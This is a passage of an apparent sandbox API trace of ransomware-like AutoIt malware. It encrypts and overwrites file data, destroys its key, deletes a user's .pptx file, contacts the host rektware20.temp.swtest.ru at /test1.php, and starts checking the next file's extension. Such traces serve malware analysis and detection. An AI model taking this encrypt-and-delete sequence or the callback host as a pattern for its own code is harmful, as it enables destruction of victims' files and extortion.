pdwDataLen=0x130e618*=0x5e85, dwBufLen=0x5e90 | out: pbData=0x17ec840*, pdwDataLen=0x130e618*=0x5e90) returned 1 [0073.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.122] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.122] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.122] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.123] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.123] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.123] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.123] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.123] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.123] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.123] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.123] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.125] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.125] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.125] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.125] WriteFile (in: hFile=0x2ac, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x5e90, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x5e90, lpOverlapped=0x0) returned 1 [0073.127] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.127] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.127] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.127] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.127] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.127] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.127] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.127] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.128] CryptDestroyKey (hKey=0x164c330) returned 1 [0073.128] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.128] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.128] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.128] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.128] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.128] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.128] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.128] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.128] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.128] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.128] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.128] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.128] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.128] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.128] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.128] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.129] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.129] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.129] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.129] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.129] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.129] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.129] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.129] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.129] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.129] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.129] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.129] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.129] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.130] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.130] CryptReleaseContext (hProv=0x17aac48, dwFlags=0x0) returned 1 [0073.130] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.130] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.130] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.130] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.130] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.130] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.130] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.130] CloseHandle (hObject=0x3bc) returned 1 [0073.132] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.132] CloseHandle (hObject=0x2ac) returned 1 [0073.136] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.137] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.137] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", lpFilePart=0x0) returned 0x3d [0073.137] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\nmpt40awk48rx.pptx")) returned 0x20 [0073.137] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0073.137] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\nmpt40awk48rx.pptx")) returned 1 [0073.141] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.141] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0073.141] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.141] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.141] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.141] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.141] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0073.141] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0073.142] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.142] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.142] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.142] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.142] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.142] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c) returned 1 [0073.142] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.142] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.142] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.143] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.143] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.143] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.143] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.143] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.143] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.143] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.143] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.143] CloseHandle (hObject=0x0) returned 0 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.144] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\quEppq7ypnjAKMfy.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.145] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 